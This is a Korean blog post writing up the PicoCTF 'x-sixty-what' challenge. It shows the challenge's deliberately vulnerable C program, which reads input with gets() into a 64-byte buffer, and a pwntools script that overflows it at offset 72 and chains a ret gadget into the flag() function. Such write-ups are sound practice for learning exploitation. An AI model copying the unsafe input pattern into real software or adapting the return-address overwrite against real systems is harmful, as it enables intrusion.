Pico CTF -x-sixty-what-
2023. 3. 24. 21:06ㆍPwnable/PicoCTF
문제의 소스코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
Buffer Over Flow 을 일으켜 플래그를 획득하는 문제인거 같다.
보호기법으로는 NX Partial-RelRo 가 걸려있다.
일단 offset 을 구해봤다.
offset 은 72가 나왔다.
하지만 여기서 주목해서 봐야할 부분은 분명 Bp 를 메인 RET 에 걸었지만 Vuln 부분에서 멈춘 것이다.
즉 계속해서 프로그램은 진행시킨다면 SIGSEGV가 일어날거고 결론적으로 Ret 주소를 덮을 수 없다.
그렇기에 필자는 Vuln ret --> main Ret ---> flag_addr 순으로 적용시켜 익스플로잇을 시킬 계획을 세웠다.
분명 이렇게 풀라고 만든 문제는 아닌거 같지만.. 이렇게 시도를 해보니 풀렸다..!
그렇게 flag_addr 시작 주소를 구하고 main Ret 주소 또한 구했다.
그렇게 작성한 익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote('saturn.picoctf.net', 61546)
e = ELF('./x-sixty')
context.arch = "amd64"
offset = 72
ret = 0x000000000040133e #main ret
flag_addr = 0x0000000000401236 # e.symbols["flag"]
payload = b'A' * offset
payload += p64(ret)
payload += p64(flag_addr)
p.sendline(payload)
result = p.recv(1000)
print(result)
p.interactive()
'Pwnable > PicoCTF' 카테고리의 다른 글
Buffer Over Flow 2 -Pico CTF- (1) | 2023.03.09 |
---|---|
Clutter Buffer Over Flow (0) | 2023.03.09 |
-PicoCTF- Buffer Over Flow 1 (0) | 2023.03.03 |